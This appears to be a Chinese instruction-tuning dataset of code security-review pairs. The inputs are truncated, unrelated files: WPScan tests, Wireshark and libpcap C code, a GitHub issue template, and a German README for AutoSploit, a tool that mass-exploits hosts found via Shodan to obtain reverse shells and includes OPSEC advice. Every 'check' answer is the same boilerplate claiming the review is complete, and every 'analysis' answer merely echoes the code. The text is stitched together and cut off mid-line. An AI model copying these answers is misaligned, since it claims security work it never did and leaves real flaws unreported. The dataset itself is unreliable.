Instruction: 检查这段代码是否存在安全问题

Input:
# frozen_string_literal: true

describe WPScan::DB::VulnApi do
  subject(:api) { described_class }

  let(:request_headers) do
    {
      'User-Agent' => WPScan::Browser.instance.default_user_agent,
      'Authorization' => "Token token=#{api.token}"
    }
  end

  before do
    # Reset the default_request_params
    api.instance_variable_set(:@default_request_params, nil)
  end

  describe '#uri' do
    its(:uri) { should be_a Addressable::URI }
  end

  describe '#token, @token=' do
    context 'when no token set' do
      before { api.token = nil } # In case it was set by a previous spec

      its(:token) { should be nil }
    end

    context 'when token set' do
      it 'returns it' do
        api.token = 's3cRet'

        expect(api.token).to eql 's3cRet'
      end
    end
  end

  describe '#get' do
    context 'when no token' do
      before { api.token = nil }

      it 'returns an empty hash' do
        expect(api.get('test')).to eql({})
      end
    end

    context 'when a token' do
      before { api.token = 's3cRet' }

      let(:path) { 'path' }

      context 'when params used' do
        it 'ensures they override the defaults' do
          expect(Typhoeus).to receive(:get)
            .with(api.uri.join(path), hash_including(cache_ttl: 0))
            .and_return(Typhoeus::Response.new(code: 404))

          api.get(path, cache_ttl: 0)
        end
      end

      context 'when no timeouts' do
        before do
          stub_request(:get, api.uri.join(path))
            .with(headers: request_headers)
            .to_return(status: code, body: body)
        end

        context 'when 200' do
          let(:code) { 200 }
          let(:body) { { data: 'something' }.to_json }

          it 'returns the expected hash' do
            expect(api.get(path)).to eql('data' => 'something')
          end
        end

        context 'when 403' do
          let(:code) { 403 }
          let(:body) { { status: 'forbidden' }.to_json }

          it 'returns t...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: feature request
assignees: ''
---
**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
**Describe the solution you'd like**
A clear and concise description of what you want to happen.
**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've considered.
**Additional context**
Add any other context or screenshots about the feature request here.


Instruction: 检查这段代码是否存在安全问题

Input:
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: feature request
assignees: ''
---
**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
**Describe the solution you'd like**
A clear and concise description of what you want to happen.
**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've considered.
**Additional context**
Add any other context or screenshots about the feature request here.

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-skype.c
 * Routines for the disassembly of Skype
 *
 * Copyright 2009 Joerg Mayer (see AUTHORS file)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * Documentation that formed the basis of the packet decoding:
 * https://github.com/matthiasbock/OpenSkype/wiki/Skype's-UDP-Format
 * For additional information see:
 *     https://gitlab.com/wireshark/wireshark/-/wikis/Skype
 *
 *  TODO:
 *  - Authentication
 *  - TCP
 *  - Conversation stuff (to obtain external IPs for decryption)
 *  - Decryption (with given keys)
 *  - Test CRC check (requires working decryption)
 *  - Heuristics to reliably detect Skype traffic - most likely impossible
 *    to implement in Wireshark (see
 *    https://gitlab.com/wireshark/wireshark/-/wikis/Skype)
 *  - Improve tests
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/conversation.h>

void proto_register_skype(void);
void proto_reg_handoff_skype(void);

/* Things we may want to remember for a whole conversation */
typedef struct _skype_udp_conv_info_t {
	guint32 global_src_ip;
	guint32 global_dst_ip;
} skype_udp_conv_info_t;

/* protocol handles */
static int proto_skype = -1;

/* ett handles */
static int ett_skype = -1;

#define SKYPE_SOM_UNK_MASK	0xF0
#define SKYPE_SOM_TYPE_MASK	0x0F

/* hf elements */
/* Start of Message */
static int hf_skype_som_id = -1;
static int hf_skype_som_unk = -1;
static int hf_skype_som_type = -1;
/* Message body */
/* Unknown_0 */
static int hf_skype_unknown_0_unk1 = -1;
/* Payload */
static int hf_skype_payload_iv = -1;
static int hf_skype_payload_crc = -1;
static int hf_skype_payload_enc_data = -1;
/* Resend */
static int hf_skype_ffr_num = -1;
static int hf_skype_ffr_unk1 = -1;
static int hf_skype_ffr_iv = -1;
static int hf_skype_ffr_crc = -1;
static int hf_skype_ffr_enc_data = -1;
/* Nat info */
static int hf_skype_natinfo_srcip = -1;
static int hf_s...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-skype.c
 * Routines for the disassembly of Skype
 *
 * Copyright 2009 Joerg Mayer (see AUTHORS file)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * Documentation that formed the basis of the packet decoding:
 * https://github.com/matthiasbock/OpenSkype/wiki/Skype's-UDP-Format
 * For additional information see:
 *     https://gitlab.com/wireshark/wireshark/-/wikis/Skype
 *
 *  TODO:
 *  - Authentication
 *  - TCP
 *  - Conversation stuff (to obtain external IPs for decryption)
 *  - Decryption (with given keys)
 *  - Test CRC check (requires working decryption)
 *  - Heuristics to reliably detect Skype traffic - most likely impossible
 *    to implement in Wireshark (see
 *    https://gitlab.com/wireshark/wireshark/-/wikis/Skype)
 *  - Improve tests
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/conversation.h>

void proto_register_skype(void);
void proto_reg_handoff_skype(void);

/* Things we may want to remember for a whole conversation */
typedef struct _skype_udp_conv_info_t {
	guint32 global_src_ip;
	guint32 global_dst_ip;
} skype_udp_conv_info_t;

/* protocol handles */
static int proto_skype = -1;

/* ett handles */
static int ett_skype = -1;

#define SKYPE_SOM_UNK_MASK	0xF0
#define SKYPE_SOM_TYPE_MASK	0x0F

/* hf elements */
/* Start of Message */
static int hf_skype_som_id = -1;
static int hf_skype_som_unk = -1;
static int hf_skype_som_type = -1;
/* Message body */
/* Unknown_0 */
static int hf_skype_unknown_0_unk1 = -1;
/* Payload */
static int hf_skype_payload_iv = -1;
static int hf_skype_payload_crc = -1;
static int hf_skype_payload_enc_data = -1;
/* Resend */
static int hf_skype_ffr_num = -1;
static int hf_skype_ffr_unk1 = -1;
static int hf_skype_ffr_iv = -1;
static int hf_skype_ffr_crc = -1;
static int hf_skype_ffr_enc_data = -1;
/* Nat info */
static int hf_skype_natinfo_srcip = -1;
static int hf_s...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# AutoSploit

Wie der Name vielleicht sagt, versucht Autosploit automatisiert Remote Hosts zu nutzen. Ziele können automatisch über Shodan, Censys oder Zoomeye gesammelt werden. Es wurden aber außerdem Optionen hinzugefügt, welche es erlauben, eigene Ziele oder Host-Listen hinzuzufügen. Die verfügbaren Metasploit-Module wurden ausgewählt, um die Ausführung von Remote-Code zu erleichtern und um zu versuchen, Reverse TCP Shells und/oder Meterpreter-Sessions zu erhalten.

**Sicherheitserwägung für den Betrieb**

Das Empfangen von Verbindungen über deine lokale Maschine ist vielleicht nicht die beste Idee für einen OPSEC-Standpunkt. Ziehe es stattdessen in Betracht, dieses Tool auf einem VPS auszuführen, welches alle benötigten Abhängigkeiten installiert hat.

Die neue Version von AutoSploit verfügt über ein Feature, welches dir erlaubt, eine Proxy zu setzen, bevor du dich verbindest, und einen benutzerdefinierten User-Agent zu verwenden.

# Hilfreiche Links

 - [Nutzung](https://github.com/NullArray/AutoSploit#usage)
 - [Installation](https://github.com/NullArray/AutoSploit#Installation)
 - [Abhängigkeiten](https://github.com/NullArray/AutoSploit#dependencies)
 - [Benutzerhandbuch](https://github.com/NullArray/AutoSploit/wiki)
   - [Nutzungsmöglichkeiten](https://github.com/NullArray/AutoSploit/wiki/Usage#usage-options)
   - [Screenshots](https://github.com/NullArray/AutoSploit/wiki/Examples-and-images)
   - [Bugs/Ideen melden](https://github.com/NullArray/AutoSploit/wiki/Bugs-and-ideas#bugs)
   - [Entwicklungsleitfäden](https://github.com/NullArray/AutoSploit/wiki/Development-information#development-of-autosploit)
 - [Shoutouts](https://github.com/NullArray/AutoSploit#acknowledgements)
 - [Entwicklung](https://github.com/NullArray/AutoSploit#active-development)
 - [Discord-Server](https://discord.gg/9BeeZQk)
 - [README-Übersetzungen](https://github.com/NullArray/AutoSploit#translations)

# Installation

AutoSploit zu installieren ist sehr einfach. Du kannst den neuest...


Instruction: 检查这段代码是否存在安全问题

Input:
# AutoSploit

Wie der Name vielleicht sagt, versucht Autosploit automatisiert Remote Hosts zu nutzen. Ziele können automatisch über Shodan, Censys oder Zoomeye gesammelt werden. Es wurden aber außerdem Optionen hinzugefügt, welche es erlauben, eigene Ziele oder Host-Listen hinzuzufügen. Die verfügbaren Metasploit-Module wurden ausgewählt, um die Ausführung von Remote-Code zu erleichtern und um zu versuchen, Reverse TCP Shells und/oder Meterpreter-Sessions zu erhalten.

**Sicherheitserwägung für den Betrieb**

Das Empfangen von Verbindungen über deine lokale Maschine ist vielleicht nicht die beste Idee für einen OPSEC-Standpunkt. Ziehe es stattdessen in Betracht, dieses Tool auf einem VPS auszuführen, welches alle benötigten Abhängigkeiten installiert hat.

Die neue Version von AutoSploit verfügt über ein Feature, welches dir erlaubt, eine Proxy zu setzen, bevor du dich verbindest, und einen benutzerdefinierten User-Agent zu verwenden.

# Hilfreiche Links

 - [Nutzung](https://github.com/NullArray/AutoSploit#usage)
 - [Installation](https://github.com/NullArray/AutoSploit#Installation)
 - [Abhängigkeiten](https://github.com/NullArray/AutoSploit#dependencies)
 - [Benutzerhandbuch](https://github.com/NullArray/AutoSploit/wiki)
   - [Nutzungsmöglichkeiten](https://github.com/NullArray/AutoSploit/wiki/Usage#usage-options)
   - [Screenshots](https://github.com/NullArray/AutoSploit/wiki/Examples-and-images)
   - [Bugs/Ideen melden](https://github.com/NullArray/AutoSploit/wiki/Bugs-and-ideas#bugs)
   - [Entwicklungsleitfäden](https://github.com/NullArray/AutoSploit/wiki/Development-information#development-of-autosploit)
 - [Shoutouts](https://github.com/NullArray/AutoSploit#acknowledgements)
 - [Entwicklung](https://github.com/NullArray/AutoSploit#active-development)
 - [Discord-Server](https://discord.gg/9BeeZQk)
 - [README-Übersetzungen](https://github.com/NullArray/AutoSploit#translations)

# Installation

AutoSploit zu installieren ist sehr einfach. Du kannst den neuest...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-sstp.c
 * routines for sstp packet dissasembly
 * - MS-SSTP:
 *
 *    https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sstp
 *
 * Created as part of a semester project at the University of Applied Sciences Hagenberg
 * (https://www.fh-ooe.at/en/hagenberg-campus/)
 *
 * Copyright (c) 2013:
 *   Hofer Manuel (manuel@mnlhfr.at)
 *   Nemeth Franz
 *   Scheipner Alexander
 *   Stiftinger Thomas
 *   Werner Sebastian
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-tcp.h"

void proto_register_sstp(void);
void proto_reg_handoff_sstp(void);

#define SSTP_BITMASK_MAJORVERSION 0xF0
#define SSTP_BITMASK_MINORVERSION 0x0F
#define SSTP_BITMASK_CONTROLFLAG 0x01
#define SSTP_BITMASK_LENGTH_RESERVED 0xF000
#define SSTP_BITMASK_LENGTH_LENGTH 0x0FFF
#define SSTP_CERT_HASH_PROTOCOL_SHA1 0x01
#define SSTP_CERT_HASH_PROTOCOL_SHA256 0x02
#define SSTP_ENCAPSULATED_PPP 0x0001

/* bytewise offsets inside the paket buffer */
#define SSTP_OFFSET_ATTRIBUTES    8
#define SSTP_OFFSET_DATA          4
#define SSTP_OFFSET_RESERVED      1
#define SSTP_OFFSET_ISCONTROL     1
#define SSTP_OFFSET_LENGTH        2
#define SSTP_OFFSET_MAJORVERSION  0
#define SSTP_OFFSET_MINORVERSION  0
#define SSTP_OFFSET_MSGTYPE       4
#define SSTP_OFFSET_NUMATTRIB     6

/* fieldsize in byte */
#define SSTP_FSIZE_ATTRIBUTE              4
#define SSTP_FSIZE_ATTRIB_ID              1
#define SSTP_FSIZE_ATTRIB_LENGTH          2
#define SSTP_FSIZE_ATTRIB_RESERVED        1
#define SSTP_FSIZE_CERT_HASH_SHA1         20
#define SSTP_FSIZE_CERT_HASH_SHA256       32
#define SSTP_FSIZE_COMPOUND_MAC_SHA1      20
#define SSTP_FSIZE_COMPOUND_MAC_SHA256    32
#define SSTP_FSIZE_ENCAPSULATED_PROTOCOL  2
#define SSTP_FSIZE_HASH_PROTOCOL          1
#define SSTP_FSIZE_HASH_PROTOCOL_BITMASK  1
#define SSTP_FSIZE_ISCONTROL              1
#define SSTP_FSIZE_LENGTH                 2
#define SSTP_FSIZE_MAJORVERSION           1
#define SSTP_FSIZE_MINORV...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-sstp.c
 * routines for sstp packet dissasembly
 * - MS-SSTP:
 *
 *    https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sstp
 *
 * Created as part of a semester project at the University of Applied Sciences Hagenberg
 * (https://www.fh-ooe.at/en/hagenberg-campus/)
 *
 * Copyright (c) 2013:
 *   Hofer Manuel (manuel@mnlhfr.at)
 *   Nemeth Franz
 *   Scheipner Alexander
 *   Stiftinger Thomas
 *   Werner Sebastian
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-tcp.h"

void proto_register_sstp(void);
void proto_reg_handoff_sstp(void);

#define SSTP_BITMASK_MAJORVERSION 0xF0
#define SSTP_BITMASK_MINORVERSION 0x0F
#define SSTP_BITMASK_CONTROLFLAG 0x01
#define SSTP_BITMASK_LENGTH_RESERVED 0xF000
#define SSTP_BITMASK_LENGTH_LENGTH 0x0FFF
#define SSTP_CERT_HASH_PROTOCOL_SHA1 0x01
#define SSTP_CERT_HASH_PROTOCOL_SHA256 0x02
#define SSTP_ENCAPSULATED_PPP 0x0001

/* bytewise offsets inside the paket buffer */
#define SSTP_OFFSET_ATTRIBUTES    8
#define SSTP_OFFSET_DATA          4
#define SSTP_OFFSET_RESERVED      1
#define SSTP_OFFSET_ISCONTROL     1
#define SSTP_OFFSET_LENGTH        2
#define SSTP_OFFSET_MAJORVERSION  0
#define SSTP_OFFSET_MINORVERSION  0
#define SSTP_OFFSET_MSGTYPE       4
#define SSTP_OFFSET_NUMATTRIB     6

/* fieldsize in byte */
#define SSTP_FSIZE_ATTRIBUTE              4
#define SSTP_FSIZE_ATTRIB_ID              1
#define SSTP_FSIZE_ATTRIB_LENGTH          2
#define SSTP_FSIZE_ATTRIB_RESERVED        1
#define SSTP_FSIZE_CERT_HASH_SHA1         20
#define SSTP_FSIZE_CERT_HASH_SHA256       32
#define SSTP_FSIZE_COMPOUND_MAC_SHA1      20
#define SSTP_FSIZE_COMPOUND_MAC_SHA256    32
#define SSTP_FSIZE_ENCAPSULATED_PROTOCOL  2
#define SSTP_FSIZE_HASH_PROTOCOL          1
#define SSTP_FSIZE_HASH_PROTOCOL_BITMASK  1
#define SSTP_FSIZE_ISCONTROL              1
#define SSTP_FSIZE_LENGTH                 2
#define SSTP_FSIZE_MAJORVERSION           1
#define SSTP_FSIZE_MINORV...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996
 *	The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 */

#ifdef HAVE_CONFIG_H
#include <config.h>
#endif

#include <sys/types.h>
#include <sys/time.h>
#include <sys/timeb.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#include <net/if.h>
#include <net/nit.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <netinet/ip_var.h>
#include <netinet/udp.h>
#include <netinet/udp_var.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>

#include <errno.h>
#include <stdio.h>

#include "pcap-int.h"

#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif

/*
 * The chunk size for NIT.  This is the amount of buffering
 * done for read calls.
 */
#define CHUNKSIZE (2*1024)

/*
 * The total buffer space used by NIT.
 */
#define BUFSPACE (4*CHUNKSIZE)

/* Forwards */
sta...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996
 *	The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 */

#ifdef HAVE_CONFIG_H
#include <config.h>
#endif

#include <sys/types.h>
#include <sys/time.h>
#include <sys/timeb.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#include <net/if.h>
#include <net/nit.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <netinet/ip_var.h>
#include <netinet/udp.h>
#include <netinet/udp_var.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>

#include <errno.h>
#include <stdio.h>

#include "pcap-int.h"

#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif

/*
 * The chunk size for NIT.  This is the amount of buffering
 * done for read calls.
 */
#define CHUNKSIZE (2*1024)

/*
 * The total buffer space used by NIT.
 */
#define BUFSPACE (4*CHUNKSIZE)

/* Forwards */
sta...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# frozen_string_literal: true

describe WPScan::Finders::MainTheme::CssStyleInHomepage do
  subject(:finder) { described_class.new(target) }
  let(:target)     { WPScan::Target.new(url).extend(CMSScanner::Target::Server::Apache) }
  let(:url)        { 'http://wp.lab/' }
  let(:fixtures)   { FINDERS_FIXTURES.join('main_theme', 'css_style_in_homepage') }

  describe '#passive' do
    after do
      stub_request(:get, url).to_return(body: File.read(fixtures.join(fixture)))
      expect(finder.passive).to eql @expected
    end

    context 'when no in scope style' do
      let(:fixture) { 'no_in_scope_style.html' }

      it 'returns nil' do
        @expected = nil
      end
    end

    context 'when in scope style' do
      before do
        expect(target).to receive(:content_dir).at_least(1).and_return('wp-content')
        stub_request(:get, /.*.css/)
      end

      context 'when in a link href' do
        let(:fixture) { 'link_href.html' }

        it 'returns the expected theme' do
          @expected = WPScan::Model::Theme.new(
            'twentyfifteen',
            target,
            found_by: 'Css Style In Homepage (Passive Detection)',
            confidence: 70,
            style_url: 'http://wp.lab/wp-content/themes/twentyfifteen/style.css?ver=4.1.1'
          )
        end
      end

      context 'when in the style code' do
        let(:fixture) { 'style_code.html' }

        it 'returns the expected theme' do
          @expected = WPScan::Model::Theme.new(
            'custom',
            target,
            found_by: 'Css Style In Homepage (Passive Detection)',
            confidence: 70,
            style_url: 'http://wp.lab/wp-content/themes/custom/style.css'
          )
        end
      end
    end
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
# frozen_string_literal: true

describe WPScan::Finders::MainTheme::CssStyleInHomepage do
  subject(:finder) { described_class.new(target) }
  let(:target)     { WPScan::Target.new(url).extend(CMSScanner::Target::Server::Apache) }
  let(:url)        { 'http://wp.lab/' }
  let(:fixtures)   { FINDERS_FIXTURES.join('main_theme', 'css_style_in_homepage') }

  describe '#passive' do
    after do
      stub_request(:get, url).to_return(body: File.read(fixtures.join(fixture)))
      expect(finder.passive).to eql @expected
    end

    context 'when no in scope style' do
      let(:fixture) { 'no_in_scope_style.html' }

      it 'returns nil' do
        @expected = nil
      end
    end

    context 'when in scope style' do
      before do
        expect(target).to receive(:content_dir).at_least(1).and_return('wp-content')
        stub_request(:get, /.*.css/)
      end

      context 'when in a link href' do
        let(:fixture) { 'link_href.html' }

        it 'returns the expected theme' do
          @expected = WPScan::Model::Theme.new(
            'twentyfifteen',
            target,
            found_by: 'Css Style In Homepage (Passive Detection)',
            confidence: 70,
            style_url: 'http://wp.lab/wp-content/themes/twentyfifteen/style.css?ver=4.1.1'
          )
        end
      end

      context 'when in the style code' do
        let(:fixture) { 'style_code.html' }

        it 'returns the expected theme' do
          @expected = WPScan::Model::Theme.new(
            'custom',
            target,
            found_by: 'Css Style In Homepage (Passive Detection)',
            confidence: 70,
            style_url: 'http://wp.lab/wp-content/themes/custom/style.css'
          )
        end
      end
    end
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-zbee-zcl-se.c
 * Dissector routines for the ZigBee ZCL SE clusters like
 * Messaging
 * By Fabio Tarabelloni <fabio.tarabelloni@reloc.it>
 * Copyright 2013 RELOC s.r.l.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*  Include Files */
#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/to_str.h>

#include "packet-zbee.h"
#include "packet-zbee-aps.h"
#include "packet-zbee-zcl.h"
#include "packet-zbee-security.h"

/* ########################################################################## */
/* #### common to all SE clusters ########################################### */
/* ########################################################################## */

#define ZBEE_ZCL_SE_ATTR_REPORT_PENDING                     0x00
#define ZBEE_ZCL_SE_ATTR_REPORT_COMPLETE                    0x01

static const value_string zbee_zcl_se_reporting_status_names[] = {
    { ZBEE_ZCL_SE_ATTR_REPORT_PENDING,                   "Pending" },
    { ZBEE_ZCL_SE_ATTR_REPORT_COMPLETE,                  "Complete" },
    { 0, NULL }
};

/**
 *Dissect a ZigBee Date
 *
 *@param tvb pointer to buffer containing raw packet.
 *@param tree pointer to data tree Wireshark uses to display packet.
 *@param offset pointer to buffer offset
 *@param subtree_name name for the subtree
 *@param idx one of the ett_ array elements registered with proto_register_subtree_array()
 *@param hfindex_yy year field
 *@param hfindex_mm month field
 *@param hfindex_md month day field
 *@param hfindex_wd week day field
*/
static void dissect_zcl_date(tvbuff_t *tvb, proto_tree *tree, guint *offset,
                             gint idx, const char* subtree_name, int hfindex_yy, int hfindex_mm, int hfindex_md,
                             int hfindex_wd)
{
    guint8 yy;
    proto_tree* subtree;

    /* Add subtree */
    subtree = proto_tr...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-zbee-zcl-se.c
 * Dissector routines for the ZigBee ZCL SE clusters like
 * Messaging
 * By Fabio Tarabelloni <fabio.tarabelloni@reloc.it>
 * Copyright 2013 RELOC s.r.l.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*  Include Files */
#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/to_str.h>

#include "packet-zbee.h"
#include "packet-zbee-aps.h"
#include "packet-zbee-zcl.h"
#include "packet-zbee-security.h"

/* ########################################################################## */
/* #### common to all SE clusters ########################################### */
/* ########################################################################## */

#define ZBEE_ZCL_SE_ATTR_REPORT_PENDING                     0x00
#define ZBEE_ZCL_SE_ATTR_REPORT_COMPLETE                    0x01

static const value_string zbee_zcl_se_reporting_status_names[] = {
    { ZBEE_ZCL_SE_ATTR_REPORT_PENDING,                   "Pending" },
    { ZBEE_ZCL_SE_ATTR_REPORT_COMPLETE,                  "Complete" },
    { 0, NULL }
};

/**
 *Dissect a ZigBee Date
 *
 *@param tvb pointer to buffer containing raw packet.
 *@param tree pointer to data tree Wireshark uses to display packet.
 *@param offset pointer to buffer offset
 *@param subtree_name name for the subtree
 *@param idx one of the ett_ array elements registered with proto_register_subtree_array()
 *@param hfindex_yy year field
 *@param hfindex_mm month field
 *@param hfindex_md month day field
 *@param hfindex_wd week day field
*/
static void dissect_zcl_date(tvbuff_t *tvb, proto_tree *tree, guint *offset,
                             gint idx, const char* subtree_name, int hfindex_yy, int hfindex_mm, int hfindex_md,
                             int hfindex_wd)
{
    guint8 yy;
    proto_tree* subtree;

    /* Add subtree */
    subtree = proto_tr...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-btrfcomm.c
 * Routines for Bluetooth RFCOMM protocol dissection
 * and RFCOMM based profile dissection:
 *    - Dial-Up Networking Profile (DUN)
 *    - Serial Port Profile (SPP)
 *    - Global Navigation Satellite System (GNSS)
 *
 * Copyright 2002, Wolfgang Hansmann <hansmann@cs.uni-bonn.de>
 *
 * Refactored for wireshark checkin
 *   Ronnie Sahlberg 2006
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/uat.h>
#include <epan/decode_as.h>
#include <epan/proto_data.h>

#include "packet-bluetooth.h"
#include "packet-btsdp.h"
#include "packet-btl2cap.h"
#include "packet-btrfcomm.h"

static int hf_pf = -1;
static int hf_ea = -1;
static int hf_len = -1;
static int hf_frame_type = -1;
static int hf_cr = -1;
static int hf_dlci = -1;
static int hf_channel = -1;
static int hf_direction = -1;
static int hf_priority = -1;
static int hf_error_recovery_mode = -1;
static int hf_max_frame_size = -1;
static int hf_max_retrans = -1;
static int hf_fc_credits = -1;

static int hf_mcc_pn_parameters = -1;
static int hf_pn_i14 = -1;
static int hf_pn_c14 = -1;

static int hf_mcc = -1;
static int hf_mcc_types = -1;
static int hf_mcc_len = -1;
static int hf_mcc_ea = -1;
static int hf_mcc_cr = -1;
static int hf_mcc_cmd = -1;

static int hf_msc_parameters = -1;
static int hf_msc_fc = -1;
static int hf_msc_rtc = -1;
static int hf_msc_rtr = -1;
static int hf_msc_ic = -1;
static int hf_msc_dv = -1;
static int hf_msc_l = -1;
static int hf_msc_break_bits = -1;

static int hf_fcs = -1;

static int hf_dun_at_cmd = -1;
static int hf_spp_data = -1;
static int hf_gnss_data = -1;

static int hf_mcc_dlci = -1;
static int hf_mcc_channel = -1;
static int hf_mcc_direction = -1;
static int hf_mcc_const_1 = -1;

static int hf_mcc_pn_dlci = -1;
static int hf_mcc_pn_channel ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-btrfcomm.c
 * Routines for Bluetooth RFCOMM protocol dissection
 * and RFCOMM based profile dissection:
 *    - Dial-Up Networking Profile (DUN)
 *    - Serial Port Profile (SPP)
 *    - Global Navigation Satellite System (GNSS)
 *
 * Copyright 2002, Wolfgang Hansmann <hansmann@cs.uni-bonn.de>
 *
 * Refactored for wireshark checkin
 *   Ronnie Sahlberg 2006
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/uat.h>
#include <epan/decode_as.h>
#include <epan/proto_data.h>

#include "packet-bluetooth.h"
#include "packet-btsdp.h"
#include "packet-btl2cap.h"
#include "packet-btrfcomm.h"

static int hf_pf = -1;
static int hf_ea = -1;
static int hf_len = -1;
static int hf_frame_type = -1;
static int hf_cr = -1;
static int hf_dlci = -1;
static int hf_channel = -1;
static int hf_direction = -1;
static int hf_priority = -1;
static int hf_error_recovery_mode = -1;
static int hf_max_frame_size = -1;
static int hf_max_retrans = -1;
static int hf_fc_credits = -1;

static int hf_mcc_pn_parameters = -1;
static int hf_pn_i14 = -1;
static int hf_pn_c14 = -1;

static int hf_mcc = -1;
static int hf_mcc_types = -1;
static int hf_mcc_len = -1;
static int hf_mcc_ea = -1;
static int hf_mcc_cr = -1;
static int hf_mcc_cmd = -1;

static int hf_msc_parameters = -1;
static int hf_msc_fc = -1;
static int hf_msc_rtc = -1;
static int hf_msc_rtr = -1;
static int hf_msc_ic = -1;
static int hf_msc_dv = -1;
static int hf_msc_l = -1;
static int hf_msc_break_bits = -1;

static int hf_fcs = -1;

static int hf_dun_at_cmd = -1;
static int hf_spp_data = -1;
static int hf_gnss_data = -1;

